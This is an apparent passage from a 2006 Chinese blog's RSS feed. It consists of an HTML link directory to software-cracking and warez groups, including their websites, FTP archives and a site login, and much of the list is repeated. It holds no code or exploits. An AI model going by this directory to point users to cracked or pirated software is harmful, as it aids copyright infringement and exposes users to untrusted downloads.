href="http://www.anthrax.org/main.html" target="_blank"><font color="#000036">http://www.anthrax.org/main.html</font></a> (AnThraX Website) <br /><a href="http://www.lis.net.au/~jmaxt/cracks/" target="_blank"><font color="#000036">http://www.lis.net.au/~jmaxt/cracks/</font></a> (Cokebottle cracks page -- member of AnThraX) <br /><a href="http://take-us.to/dasavant/" target="_blank"><font color="#000036">http://take-us.to/dasavant/</font></a> (DASavant';s Site -- another member of AnThraX)) <br /><a href="http://www.chez.com/ccosmo/cosmo.htm" target="_blank"><font color="#000036">http://www.chez.com/ccosmo/cosmo.htm</font></a> (Cosmo Cramer';s Cracks &amp; Serials -- President of AnThraX) <br />The Nameless Ones: <br /><a href="http://members.xoom.com/tno/" target="_blank"><font color="#000036">http://members.xoom.com/tno/</font></a> (tNO Website) <br /><a href="http://russtno.cjb.net/" target="_blank"><font color="#000036">http://russtno.cjb.net/</font></a> (Russ';s tNO Cracks Page) <br /><a href="http://www.listen.to/tno/" target="_blank"><font color="#000036">http://www.listen.to/tno/</font></a> (tNO Cracks Page) <br /><a href="http://www.orc.ru/~pakou/tno.html" target="_blank"><font color="#000036">http://www.orc.ru/~pakou/tno.html</font></a> (Russ97';s tNO Page) <br />Crackers By Excellence: <br /><a href="http://welcome.to/cbe/" target="_blank"><font color="#000036">http://welcome.to/cbe/</font></a> (CbE Website) <br /><a href="ftp://24.95.71.29:99/pub/" target="_blank"><font color="#000036">ftp://24.95.71.29:99/pub/</font></a> (CbE complete file archive) <br />BaSiC SmUrFs: <br /><a href="http://www.come.to/basic_smurfs/" target="_blank"><font color="#000036">http://www.come.to/basic_smurfs/</font></a> (BaSiC SmUrFs Page) <br />Dedicated 4 Cracking: <br /><a href="http://toto.xcem.com/d4c/index.html" target="_blank"><font color="#000036">http://toto.xcem.com/d4c/index.html</font></a> (Unofficial d4c Website) <br />FAITH2000: <br /><a href="http://listen.to/faith2000/" target="_blank"><font color="#000036">http://listen.to/faith2000/</font></a> (Faith2000 website -- l/p F2K/4ever) <br /><a href="http://move.to/f2k_cp/" target="_blank"><font color="#000036">http://move.to/f2k_cp/</font></a> (Faith2000 April Crackpack) <br /><a href="http://search.faith2000.com/" target="_blank"><font color="#000036">http://search.faith2000.com/</font></a> (F2K Search Page) <br /><a href="http://www.faith98.demon.nl/html/files.htm" target="_blank"><font color="#000036">http://www.faith98.demon.nl/html/files.htm</font></a> (alternate F2K URL) <br /><a href="http://home.telia.no/faith2000/mirror/index.html" target="_blank"><font color="#000036">http://home.telia.no/faith2000/mirror/index.html</font></a> (alternate F2K URL) <br /><a href="http://members.tripod.com/midi_now/" target="_blank"><font color="#000036">http://members.tripod.com/midi_now/</font></a> (alternate F2K URL) <br />Hack Section Warez: <br /><a href="http://hsection.dynip.com/" target="_blank"><font color="#000036">http://hsection.dynip.com</font></a> (Hack Section Warez Website) <br />Kick Ass Cracking: <br /><a href="http://kac.cjb.net/" target="_blank"><font color="#000036">http://kac.cjb.net/</font></a> (kAc Website) <br />Laxity: <br /><a href="http://www.laxity.com/" target="_blank"><font color="#000036">http://www.laxity.com/</font></a> (Laxity WebSite) <br /><a href="http://www.http2.com/www.laxity.com/" target="_blank"><font color="#000036">http://www.http2.com/www.laxity.com/</font></a> (alternate Laxity URL) <br />Drink Or Die: <br /><a href="http://www.drinkordie.com/" target="_blank"><font color="#000036">http://www.drinkordie.com</font></a> (DOD Website -- read: COOL GFX!) <br />Cyber Knights Templar: <br /><a href="http://members.tripod.com/cyberkt" target="_blank"><font color="#000036">http://members.tripod.com/cyberkt</font></a> (Cyber Knights Templar Homepage) <br />PZ Crack Team: <br /><a href="http://fly.to/pct/" target="_blank"><font color="#000036">http://fly.to/pct/</font></a> (PZ Website) <br /><a href="http://pzct.cjb.net/" target="_blank"><font color="#000036">http://pzct.cjb.net/</font></a> (alternate PZ URL) <br /><a href="http://pzcrackteam.findhere.com/" target="_blank"><font color="#000036">http://pzcrackteam.findhere.com/</font></a> (alternate PZ URL) <br />HNC Productions: <br /><a href="http://www.multimania.com/~hnc" target="_blank"><font color="#000036">http://www.multimania.com/~hnc</font></a> (HNC Website) <br />Tristar &amp; Red Sector: <br /><a href="http://www.trsi.de/" target="_blank"><font color="#000036">http://www.trsi.de/</font></a> (Tristar &amp; Red Sector Website) <br />Six World (&amp;#36;!X): <br /><a href="http://come.to/sixworld" target="_blank"><font color="#000036">http://come.to/sixworld</font></a> (The &amp;#36;!X WEbSite) <br /><a href="http://come.to/sixbackup" target="_blank"><font color="#000036">http://come.to/sixbackup</font></a> (&amp;#36;!X Site) <br /><a href="http://www.thepentagon.com/sixworld" target="_blank"><font color="#000036">http://www.thepentagon.com/sixworld</font></a> (&amp;#36;!X Site) <br /><a href="http://cool.icestorm.com/sixworld/sixcrackz.htm" target="_blank"><font color="#000036">http://cool.icestorm.com/sixworld/sixcrackz.htm</font></a> (&amp;#36;!X Cracks) <br />SpeltaniX: <br /><a href="http://hackerlink.or.id/spx/main.html" target="_blank"><font color="#000036">http://hackerlink.or.id/spx/main.html</font></a> (SpeltaniX WEbSite) <br /><a href="http://travel.to/alien/" target="_blank"><font color="#000036">http://travel.to/alien/</font></a> (|Alien|';s webpage -- SpeltaniX member) <br />Croatian Cracking Service: <br /><a href="http://surf.to/crocracks/" target="_blank"><font color="#000036">http://surf.to/crocracks/</font></a> ([CCS] WEbSite) <br />Hungarian Pirates Alliance: <br /><a href="http://w3.swi.hu/krow/hpaweb/crackz.html" target="_blank"><font color="#000036">http://w3.swi.hu/krow/hpaweb/crackz.html</font></a> (HPA Cracks Page) <br /><a href="http://hpa.netchicken.hu/" target="_blank"><font color="#000036">http://hpa.netchicken.hu/</font></a> (alternate HPA Cracks Page) <br /><a href="http://www.hpacrackers.com/" target="_blank"><font color="#000036">http://www.hpacrackers.com/</font></a> (Newest HPA Link) <br />Ivanopulo: <br /><a href="http://ivanopulo-cracks.da.ru/" target="_blank"><font color="#000036">http://ivanopulo-cracks.da.ru/</font></a> (Ivanopulo';s Cracks Page) <br /><a href="http://www.artcon.ru/cracks/" target="_blank"><font color="#000036">http://www.artcon.ru/cracks/</font></a> (Another Ivanopulo Addy) <br />BLaCK SQuaDRoN: <br /><a href="http://www.blacksquadron.est-ici.org/" target="_blank"><font color="#000036">http://www.blacksquadron.est-ici.org/</font></a> (BLaCK SQuaDRoN';s WebSite) <br /><a href="http://get.to/bs2000/" target="_blank"><font color="#000036">http://get.to/bs2000/</font></a> (Black Squadron releases) <br />Ebola Virus Crew: <br /><a href="http://beam.to/evc/" target="_blank"><font color="#000036">http://beam.to/evc/</font></a> (Ebola Virus Crew WebSite) <br />4110 Crackers: <br /><a href="http://come.to/4110/" target="_blank"><font color="#000036">http://come.to/4110/</font></a> (4110 WebSite -- remember the guys in GCG?) <br /><a href="http://beam.to/4110/" target="_blank"><font color="#000036">http://beam.to/4110/</font></a> (alternate 4110 URL) <br /><a href="http://4110.tsx.org/" target="_blank"><font color="#000036">http://4110.tsx.org/</font></a> (alternate 4110 URL) <br />Ultra Tech: <br /><a href="http://ultra-tech.org/" target="_blank"><font color="#000036">http://ultra-tech.org/</font></a> (Ultra Tech WebSite) <br />The Egoiste: <br /><a href="http://w3.to/egoiste/" target="_blank"><font color="#000036">http://w3.to/egoiste/</font></a> (The Egoiste Website) <br /><a href="http://egoiste.cjb.net/" target="_blank"><font color="#000036">http://egoiste.cjb.net/</font></a> (alternate Egoiste URL) <br /><a href="http://come.to/egoiste/" target="_blank"><font color="#000036">http://come.to/egoiste/</font></a> (alternate Egoiste URL) <br />Green Knight: <br /><a href="http://www.green-knight.com/" target="_blank"><font color="#000036">http://www.green-knight.com/</font></a> (Green Knight';s Website) <br /><a href="ftp://24.93.48.171/" target="_blank"><font color="#000036">ftp://24.93.48.171:21/</font></a> (Green Knight FTP -- login: Anonymous) <br />Radium: <br /><a href="http://www.bape3.da.ru/" target="_blank"><font color="#000036">http://www.bape3.da.ru/</font></a> (Radium Release Site) <br /><a href="http://user.koenig.su/HBB2/audiowarez/" target="_blank"><font color="#000036">http://user.koenig.su/HBB2/audiowarez/</font></a> (Find their releases here) <br /><a href="http://www.enet.ru/win/digitalKenig...BB2/audiowarez/" target="_blank"><font color="#000036">http://www.enet.ru/win/digitalKenig...BB2/audiowarez/</font></a> (Findtheir re <br />leases here) <br />LASH: <br /><a href="http://www.lash-cracking.com/" target="_blank"><font color="#000036">http://www.lash-cracking.com/</font></a> (LASH webpg) <br /><a href="http://come.to/moreorlash/" target="_blank"><font color="#000036">http://come.to/moreorlash/</font></a> (alternate LASH URL) <br /><a href="http://meltingpot.fortunecity.com/liveoak/754/index.htm" target="_blank"><font color="#000036">http://meltingpot.fortunecity.com/liveoak/754/index.htm</font></a> (alternate LASH URL) <br />Warp: <br /><a href="http://www.warphome.org/" target="_blank"><font color="#000036">http://www.warphome.org/</font></a> (Home of the Efnet-based cracking crew Warp) <br />gERMAN cORRUPTED kILLaS: <br /><a href="http://gck.home.pages.de/" target="_blank"><font color="#000036">http://gck.home.pages.de/</font></a> (GCK homepage) <br /><a href="http://www.crackworld.net/german/" target="_blank"><font color="#000036">http://www.crackworld.net/german/</font></a> (alternate GCK URL) <br /><a href="http://homepages.go.com/~germancorruptedkillas/" target="_blank"><font color="#000036">http://homepages.go.com/~germancorruptedkillas/</font></a> (alternate GCK URL) <br />BREAKPOiNT: <br /><a href="http://breakpoint.tsx.org/" target="_blank"><font color="#000036">http://breakpoint.tsx.org/</font></a> (BreakPoint homepage) <br />FIGHTING FORCE: <br /><a href="http://ffo2000.cjb.net/" target="_blank"><font color="#000036">http://ffo2000.cjb.net/</font></a> (FFO website) <br />TNT!Crack!Team: <br /><a href="http://come.to/tntcrackteam/" target="_blank"><font color="#000036">http://come.to/tntcrackteam/</font></a> (TNT website) <br /><a href="http://members.xoom.com/_XOOM/tntcrackteam/index.htm" target="_blank"><font color="#000036">http://members.xoom.com/_XOOM/tntcrackteam/index.htm</font></a> (altnernate TNT URL) <br /><a href="http://drive.to/tnt/" target="_blank"><font color="#000036">http://drive.to/tnt/</font></a> (TNT';s Security Site) <br />Whiskey Kon Tekila [WkT!]: <br /><a href="http://wkt.tsx.org/" target="_blank"><font color="#000036">http://wkt.tsx.org/</font></a> (WKT website) <br /><a href="http://wkt.mypage.org/" target="_blank"><font color="#000036">http://wkt.mypage.org/</font></a> (Alternate WKT URL) <br /><a href="http://pagina.de/wkt/" target="_blank"><font color="#000036">http://pagina.de/wkt/</font></a> (Alternate WKT URL) <br /><a href="http://come.to/wkt/" target="_blank"><font color="#000036">http://come.to/wkt/</font></a> (Alternate WKT URL) <br /><a href="http://ecd.cjb.net/" target="_blank"><font color="#000036">http://ecd.cjb.net/</font></a> (WKT Tutorials Site) <br /><a href="http://lafundacion.tsx.org/" target="_blank"><font color="#000036">http://lafundacion.tsx.org/</font></a> (La Fundacion -- Mr Crimson';s CrackPage --WKT member) <br />Eternity: <br /><a href="http://welcome.to/Eternitys.home/" target="_blank"><font color="#000036">http://welcome.to/Eternitys.home/</font></a> (Eternity';s website) <br /><a href="http://www.toxic.thiswayup.com/" target="_blank"><font color="#000036">http://www.toxic.thiswayup.com/</font></a> (Toxic Crackz Page) <br /><a href="http://members2.easyspace.com/archivist/" target="_blank"><font color="#000036">http://members2.easyspace.com/archivist/</font></a><br />PRO-X: <br /><a href="http://come.to/prox/" target="_blank"><font color="#000036">http://come.to/prox/</font></a> (PRO-X Webpage) <br />BRCrackers: <br /><a href="http://brc.tsx.org/" target="_blank"><font color="#000036">http://brc.tsx.org/</font></a> (BRCrackers Webpage -- excellent Brazilian crackers) <br />Nova: <br /><a href="http://surf.to/nova/" target="_blank"><font color="#000036">http://surf.to/nova/</font></a> (NOVA Webpg) <br /><a href="http://novacracks.cjb.net/" target="_blank"><font color="#000036">http://novacracks.cjb.net/</font></a> (alternate NOVA URL) <br />Tuberculosis: <br /><a href="http://tbc.tsx.org/" target="_blank"><font color="#000036">http://tbc.tsx.org/</font></a> (Tuberculosis WebSite) <br /><a href="http://tbc.iscool.net/" target="_blank"><font color="#000036">http://tbc.iscool.net/</font></a> (alternate Tuberculosis URL) <br /><a href="http://tuberculosis.cjb.net/" target="_blank"><font color="#000036">http://tuberculosis.cjb.net/</font></a> (alternate Tuberculosis URL) <br /><a href="http://viny.tsx.org/" target="_blank"><font color="#000036">http://viny.tsx.org/</font></a> (Viny';s Page -- Tuberculosis member) <br /><a href="http://adenozin.tsx.org/" target="_blank"><font color="#000036">http://adenozin.tsx.org/</font></a> (aDENOZiN';s Page -- Tuberculosis member) <br /><a href="http://come.to/crackingHQ/" target="_blank"><font color="#000036">http://come.to/crackingHQ/</font></a> (jak';s Cracking HQ -- Tuberculosis member) <br />PDAZone: <br /><a href="http://www.pdazone.net/" target="_blank"><font color="#000036">http://WWW.PDAzone.net/</font></a> (PDAZone Website -- PalmPilot and WinCE crackers) <br />Dark Society of Destruction: <br /><a href="http://www.come.to/cib/" target="_blank"><font color="#000036">http://www.come.to/cib/</font></a> (Woody';s website -- a DSD member --official CiB site) <br /><a href="http://hjem.get2net.dk/monkee/" target="_blank"><font color="#000036">http://hjem.get2net.dk/monkee/</font></a> (Dena';s website -- a DSD member) <br /><a href="http://home7.inet.tele.dk/mafia/" target="_blank"><font color="#000036">http://home7.inet.tele.dk/mafia/</font></a> (Sordid';s website -- a DSD member) <br />United Cracking Team: <br /><a href="http://uct2000.cjb.net/" target="_blank"><font color="#000036">http://uct2000.cjb.net/</font></a> (United Cracking Team Homepage) <br /><a href="http://uct2000.tsx.org/" target="_blank"><font color="#000036">http://uct2000.tsx.org/</font></a> (another UCT addy) <br /><a href="http://uctnet.tsx.org/" target="_blank"><font color="#000036">http://uctnet.tsx.org/</font></a> (UCT';s Scene Newz Page) <br /><a href="http://upp.tsx.org/" target="_blank"><font color="#000036">http://upp.tsx.org/</font></a> (UCT';s Universal Power Patcher) <br />Digital Cracker Domain: <br /><a href="http://dcd.mainpage.net/" target="_blank"><font color="#000036">http://dcd.mainpage.net/</font></a> (DCD webpage -- nice looking, easy loading) <br />BAKOENIN CREW: <br /><a href="http://listen.to/bc98/" target="_blank"><font color="#000036">http://listen.to/bc98/</font></a> (BAKOENIN CREW webpage) <br /><a href="http://bc98.ourfamily.com/" target="_blank"><font color="#000036">http://bc98.ourfamily.com/</font></a> (BAKOENIN CREW -- american mirror) <br />German StarfoX CreW: <br /><a href="http://fly.to/gscob/" target="_blank"><font color="#000036">http://fly.to/gscob/</font></a> (German StarfoX CreW webpage) <br />iMPACT: <br /><a href="http://www.impact.notrix.net/" target="_blank"><font color="#000036">http://www.impact.notrix.net/</font></a> (iMPACT webpage) <br /><a href="http://members.xoom.com/_XOOM/_VOiZE_/index.html" target="_blank"><font color="#000036">http://members.xoom.com/_XOOM/_VOiZE_/index.html</font></a> (alternate iMPACT URL) <br /><a href="http://boozers.fortunecity.com/slug/58/" target="_blank"><font color="#000036">http://boozers.fortunecity.com/slug/58/</font></a> (alternate iMPACT URL) <br />eRRatum Krak House: <br /><a href="http://all.at/ekh/" target="_blank"><font color="#000036">http://all.at/ekh/</font></a> (eRRatum Krak House webpage) <br /><a href="http://www.hackerlink.or.id/ekh/englishnew.htm" target="_blank"><font color="#000036">http://www.hackerlink.or.id/ekh/englishnew.htm</font></a> (alternate Erratum URL) <br />Team Epsylon: <br /><a href="http://www.teamepsylon.de.cx/" target="_blank"><font color="#000036">http://www.teamepsylon.de.cx/</font></a><br />Addiction: <br /><a href="http://www.addiction.net/" target="_blank"><font color="#000036">http://www.addiction.net/</font></a><br />German Cracking Force: <br /><a href="http://get.to/gcf/" target="_blank"><font color="#000036">http://get.to/gcf/</font></a> (German Cracking Force webpage) <br /><a href="http://skyscraper.fortunecity.com/activex/607/hp.htm" target="_blank"><font color="#000036">http://skyscraper.fortunecity.com/activex/607/hp.htm</font></a><br />CroSSover: <br /><a href="http://crossover.tsx.org/" target="_blank"><font color="#000036">http://crossover.tsx.org/</font></a> (CroSSover homepage) <br />Looney Tunes Crack Club: <br /><a href="http://surf.to/ltcc/" target="_blank"><font color="#000036">http://surf.to/ltcc/</font></a> (LTCC Website -- another Brazilian crackinggroup) <br />The Hacking Paranoiaz: <br /><a href="http://tsx.de/paranoiaz/" target="_blank"><font color="#000036">http://tsx.de/paranoiaz/</font></a> (THP Website) <br /><a href="http://fast.to/dabytefrog/" target="_blank"><font color="#000036">http://fast.to/dabytefrog/</font></a> (alternate THP URL) <br />Ground Zero Inc: <br /><a href="http://w3.to/gzi/" target="_blank"><font color="#000036">http://w3.to/gzi/</font></a> (GZI Website) <br />Phusion: <br /><a href="http://i.am/jamesbond001/" target="_blank"><font color="#000036">http://i.am/jamesbond001/</font></a> (PhuSioN Website -- XP Crackers) <br /><a href="http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate" target="_blank"><font color="#000036">http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate</font></a> PhuSioN URL) <br />IceFortress: <br /><a href="http://www.icefortress.com/" target="_blank"><font color="#000036">http://www.icefortress.com/</font></a> (IceFortress Homepage -- International Crackers Evolution) <br />Cracker`s NEXUS: <br /><a href="http://move.to/CrackersNEXUS/" target="_blank"><font color="#000036">http://move.to/CrackersNEXUS/</font></a> (Cracker`s NEXUS -- German Cracking/MP3/Burning/Etc.roup) <br />Soldiers of Satan Group: <br /><a href="http://sos.nanko.ru/" target="_blank"><font color="#000036">http://sos.nanko.ru/</font></a> (SOS Group Website) <br />bYtEsMaCk InC: <br /><a href="http://www.angelfire.com/nc/bYtEsMaCk/" target="_blank"><font color="#000036">http://www.angelfire.com/nc/bYtEsMaCk/</font></a> (bYtEsMaCk InC. Website) <br />Digital Cyber Hackers: <br /><a href="http://www.dch.de.cx/" target="_blank"><font color="#000036">http://www.dch.de.cx/</font></a> (Digital Cyber Hackers URL) <br /><a href="http://www.starkontakt.de/DCH/" target="_blank"><font color="#000036">http://www.starkontakt.de/DCH/</font></a> (alternate DCH URL) <br />　　 <a href="http://www.green-knight.com/" target="_blank"><font color="#000036">http://www.green-knight.com/</font></a> (Green Knight';s Website) <br />　　 <a href="ftp://24.93.48.171/" target="_blank"><font color="#000036">ftp://24.93.48.171:21/</font></a> (Green Knight FTP -- login: Anonymous) <br />Radium: <br />　　 <a href="http://www.bape3.da.ru/" target="_blank"><font color="#000036">http://www.bape3.da.ru/</font></a> (Radium Release Site) <br />　　 <a href="http://user.koenig.su/HBB2/audiowarez/" target="_blank"><font color="#000036">http://user.koenig.su/HBB2/audiowarez/</font></a> (Find their releases here) <br />　　 <a href="http://www.enet.ru/win/digitalKenig...BB2/audiowarez/" target="_blank"><font color="#000036">http://www.enet.ru/win/digitalKenig...BB2/audiowarez/</font></a> (Findtheir re <br />leases here) <br />LASH: <br />　　 <a href="http://www.lash-cracking.com/" target="_blank"><font color="#000036">http://www.lash-cracking.com/</font></a> (LASH webpg) <br />　　 <a href="http://come.to/moreorlash/" target="_blank"><font color="#000036">http://come.to/moreorlash/</font></a> (alternate LASH URL) <br />　　 <a href="http://meltingpot.fortunecity.com/liveoak/754/index.htm" target="_blank"><font color="#000036">http://meltingpot.fortunecity.com/liveoak/754/index.htm</font></a> (alternate LASH URL) <br />Warp: <br />　　 <a href="http://www.warphome.org/" target="_blank"><font color="#000036">http://www.warphome.org/</font></a> (Home of the Efnet-based cracking crew Warp) <br />gERMAN cORRUPTED kILLaS: <br />　　 <a href="http://gck.home.pages.de/" target="_blank"><font color="#000036">http://gck.home.pages.de/</font></a> (GCK homepage) <br />　　 <a href="http://www.crackworld.net/german/" target="_blank"><font color="#000036">http://www.crackworld.net/german/</font></a> (alternate GCK URL) <br />　　 <a href="http://homepages.go.com/~germancorruptedkillas/" target="_blank"><font color="#000036">http://homepages.go.com/~germancorruptedkillas/</font></a> (alternate GCK URL) <br />BREAKPOiNT: <br />　　 <a href="http://breakpoint.tsx.org/" target="_blank"><font color="#000036">http://breakpoint.tsx.org/</font></a> (BreakPoint homepage) <br />FIGHTING FORCE: <br />　　 <a href="http://ffo2000.cjb.net/" target="_blank"><font color="#000036">http://ffo2000.cjb.net/</font></a> (FFO website) <br />TNT!Crack!Team: <br />　　 <a href="http://come.to/tntcrackteam/" target="_blank"><font color="#000036">http://come.to/tntcrackteam/</font></a> (TNT website) <br />　　 <a href="http://members.xoom.com/_XOOM/tntcrackteam/index.htm" target="_blank"><font color="#000036">http://members.xoom.com/_XOOM/tntcrackteam/index.htm</font></a> (altnernate TNT URL) <br />　　 <a href="http://drive.to/tnt/" target="_blank"><font color="#000036">http://drive.to/tnt/</font></a> (TNT';s Security Site) <br />Whiskey Kon Tekila [WkT!]: <br />　　 <a href="http://wkt.tsx.org/" target="_blank"><font color="#000036">http://wkt.tsx.org/</font></a> (WKT website) <br />　　 <a href="http://wkt.mypage.org/" target="_blank"><font color="#000036">http://wkt.mypage.org/</font></a> (Alternate WKT URL) <br />　　 <a href="http://pagina.de/wkt/" target="_blank"><font color="#000036">http://pagina.de/wkt/</font></a> (Alternate WKT URL) <br />　　 <a href="http://come.to/wkt/" target="_blank"><font color="#000036">http://come.to/wkt/</font></a> (Alternate WKT URL) <br />　　 <a href="http://ecd.cjb.net/" target="_blank"><font color="#000036">http://ecd.cjb.net/</font></a> (WKT Tutorials Site) <br />　　 <a href="http://lafundacion.tsx.org/" target="_blank"><font color="#000036">http://lafundacion.tsx.org/</font></a> (La Fundacion -- Mr Crimson';s CrackPage --WKT member) <br />Eternity: <br />　　 <a href="http://welcome.to/Eternitys.home/" target="_blank"><font color="#000036">http://welcome.to/Eternitys.home/</font></a> (Eternity';s website) <br />　　 <a href="http://www.toxic.thiswayup.com/" target="_blank"><font color="#000036">http://www.toxic.thiswayup.com/</font></a> (Toxic Crackz Page) <br />　　 <a href="http://members2.easyspace.com/archivist/" target="_blank"><font color="#000036">http://members2.easyspace.com/archivist/</font></a><br />PRO-X: <br />　　 <a href="http://come.to/prox/" target="_blank"><font color="#000036">http://come.to/prox/</font></a> (PRO-X Webpage) <br />BRCrackers: <br />　　 <a href="http://brc.tsx.org/" target="_blank"><font color="#000036">http://brc.tsx.org/</font></a> (BRCrackers Webpage -- excellent Brazilian crackers) <br />Nova: <br />　　 <a href="http://surf.to/nova/" target="_blank"><font color="#000036">http://surf.to/nova/</font></a> (NOVA Webpg) <br />　　 <a href="http://novacracks.cjb.net/" target="_blank"><font color="#000036">http://novacracks.cjb.net/</font></a> (alternate NOVA URL) <br />Tuberculosis: <br />　　 <a href="http://tbc.tsx.org/" target="_blank"><font color="#000036">http://tbc.tsx.org/</font></a> (Tuberculosis WebSite) <br />　　 <a href="http://tbc.iscool.net/" target="_blank"><font color="#000036">http://tbc.iscool.net/</font></a> (alternate Tuberculosis URL) <br />　　 <a href="http://tuberculosis.cjb.net/" target="_blank"><font color="#000036">http://tuberculosis.cjb.net/</font></a> (alternate Tuberculosis URL) <br />　　 <a href="http://viny.tsx.org/" target="_blank"><font color="#000036">http://viny.tsx.org/</font></a> (Viny';s Page -- Tuberculosis member) <br />　　 <a href="http://adenozin.tsx.org/" target="_blank"><font color="#000036">http://adenozin.tsx.org/</font></a> (aDENOZiN';s Page -- Tuberculosis member) <br />　　 <a href="http://come.to/crackingHQ/" target="_blank"><font color="#000036">http://come.to/crackingHQ/</font></a> (jak';s Cracking HQ -- Tuberculosis member) <br />PDAZone: <br />　　 <a href="http://www.pdazone.net/" target="_blank"><font color="#000036">http://WWW.PDAzone.net/</font></a> (PDAZone Website -- PalmPilot and WinCE crackers) <br />Dark Society of Destruction: <br />　　 <a href="http://www.come.to/cib/" target="_blank"><font color="#000036">http://www.come.to/cib/</font></a> (Woody';s website -- a DSD member --official CiB site) <br />　　 <a href="http://hjem.get2net.dk/monkee/" target="_blank"><font color="#000036">http://hjem.get2net.dk/monkee/</font></a> (Dena';s website -- a DSD member) <br />　　 <a href="http://home7.inet.tele.dk/mafia/" target="_blank"><font color="#000036">http://home7.inet.tele.dk/mafia/</font></a> (Sordid';s website -- a DSD member) <br />United Cracking Team: <br />　　 <a href="http://uct2000.cjb.net/" target="_blank"><font color="#000036">http://uct2000.cjb.net/</font></a> (United Cracking Team Homepage) <br />　　 <a href="http://uct2000.tsx.org/" target="_blank"><font color="#000036">http://uct2000.tsx.org/</font></a> (another UCT addy) <br />　　 <a href="http://uctnet.tsx.org/" target="_blank"><font color="#000036">http://uctnet.tsx.org/</font></a> (UCT';s Scene Newz Page) <br />　　 <a href="http://upp.tsx.org/" target="_blank"><font color="#000036">http://upp.tsx.org/</font></a> (UCT';s Universal Power Patcher) <br />Digital Cracker Domain: <br />　　 <a href="http://dcd.mainpage.net/" target="_blank"><font color="#000036">http://dcd.mainpage.net/</font></a> (DCD webpage -- nice looking, easy loading) <br />BAKOENIN CREW: <br />　　 <a href="http://listen.to/bc98/" target="_blank"><font color="#000036">http://listen.to/bc98/</font></a> (BAKOENIN CREW webpage) <br />　　 <a href="http://bc98.ourfamily.com/" target="_blank"><font color="#000036">http://bc98.ourfamily.com/</font></a> (BAKOENIN CREW -- american mirror) <br />German StarfoX CreW: <br />　　 <a href="http://fly.to/gscob/" target="_blank"><font color="#000036">http://fly.to/gscob/</font></a> (German StarfoX CreW webpage) <br />iMPACT: <br />　　 <a href="http://www.impact.notrix.net/" target="_blank"><font color="#000036">http://www.impact.notrix.net/</font></a> (iMPACT webpage) <br />　　 <a href="http://members.xoom.com/_XOOM/_VOiZE_/index.html" target="_blank"><font color="#000036">http://members.xoom.com/_XOOM/_VOiZE_/index.html</font></a> (alternate iMPACT URL) <br />　　 <a href="http://boozers.fortunecity.com/slug/58/" target="_blank"><font color="#000036">http://boozers.fortunecity.com/slug/58/</font></a> (alternate iMPACT URL) <br />eRRatum Krak House: <br />　　 <a href="http://all.at/ekh/" target="_blank"><font color="#000036">http://all.at/ekh/</font></a> (eRRatum Krak House webpage) <br />　　 <a href="http://www.hackerlink.or.id/ekh/englishnew.htm" target="_blank"><font color="#000036">http://www.hackerlink.or.id/ekh/englishnew.htm</font></a> (alternate Erratum URL) <br />Team Epsylon: <br />　　 <a href="http://www.teamepsylon.de.cx/" target="_blank"><font color="#000036">http://www.teamepsylon.de.cx/</font></a><br />Addiction: <br />　　 <a href="http://www.addiction.net/" target="_blank"><font color="#000036">http://www.addiction.net/</font></a><br />German Cracking Force: <br />　　 <a href="http://get.to/gcf/" target="_blank"><font color="#000036">http://get.to/gcf/</font></a> (German Cracking Force webpage) <br />　　 <a href="http://skyscraper.fortunecity.com/activex/607/hp.htm" target="_blank"><font color="#000036">http://skyscraper.fortunecity.com/activex/607/hp.htm</font></a><br />CroSSover: <br />　　 <a href="http://crossover.tsx.org/" target="_blank"><font color="#000036">http://crossover.tsx.org/</font></a> (CroSSover homepage) <br />Looney Tunes Crack Club: <br />　　 <a href="http://surf.to/ltcc/" target="_blank"><font color="#000036">http://surf.to/ltcc/</font></a> (LTCC Website -- another Brazilian crackinggroup) <br />The Hacking Paranoiaz: <br />　　 <a href="http://tsx.de/paranoiaz/" target="_blank"><font color="#000036">http://tsx.de/paranoiaz/</font></a> (THP Website) <br />　　 <a href="http://fast.to/dabytefrog/" target="_blank"><font color="#000036">http://fast.to/dabytefrog/</font></a> (alternate THP URL) <br />Ground Zero Inc: <br />　　 <a href="http://w3.to/gzi/" target="_blank"><font color="#000036">http://w3.to/gzi/</font></a> (GZI Website) <br />Phusion: <br />　　 <a href="http://i.am/jamesbond001/" target="_blank"><font color="#000036">http://i.am/jamesbond001/</font></a> (PhuSioN Website -- XP Crackers) <br />　　 <a href="http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate" target="_blank"><font color="#000036">http://www.geocities.com/ResearchTr...Thinktank/8521/(alternate</font></a> PhuSioN URL) <br />IceFortress: <br /><a href="http://www.icefortress.com/" target="_blank"><font color="#000036">http://www.icefortress.com/</font></a> (IceFortress Homepage -- International Crackers Evolution) <br />Cracker`s NEXUS: <br /><a href="http://move.to/CrackersNEXUS/" target="_blank"><font color="#000036">http://move.to/CrackersNEXUS/</font></a> (Cracker`s NEXUS -- German Cracking/MP3/Burning/Etc. Group) <br />Soldiers of Satan Group: <br /><a href="http://sos.nanko.ru/" target="_blank"><font color="#000036">http://sos.nanko.ru/</font></a> (SOS Group Website) <br />bYtEsMaCk InC: <br /><a href="http://www.angelfire.com/nc/bYtEsMaCk/" target="_blank"><font color="#000036">http://www.angelfire.com/nc/bYtEsMaCk/</font></a> (bYtEsMaCk InC. Website) <br />Digital Cyber Hackers: <br /><a href="http://www.dch.de.cx/" target="_blank"><font color="#000036">http://www.dch.de.cx/</font></a> (Digital Cyber Hackers URL) <br /><a href="http://www.starkontakt.de/DCH/" target="_blank"><font color="#000036">http://www.starkontakt.de/DCH/</font></a> (alternate DCH URL )</span>
		<br />
<img src ="http://www.cnitblog.com/torch/aggbug/10620.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:42 <a href="http://www.cnitblog.com/torch/articles/10620.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>手脱ASProtect 2.1壳</title><link>http://www.cnitblog.com/torch/articles/10608.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 10:48:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10608.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10608.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10608.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10608.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10608.html</trackback:ping><description><![CDATA[
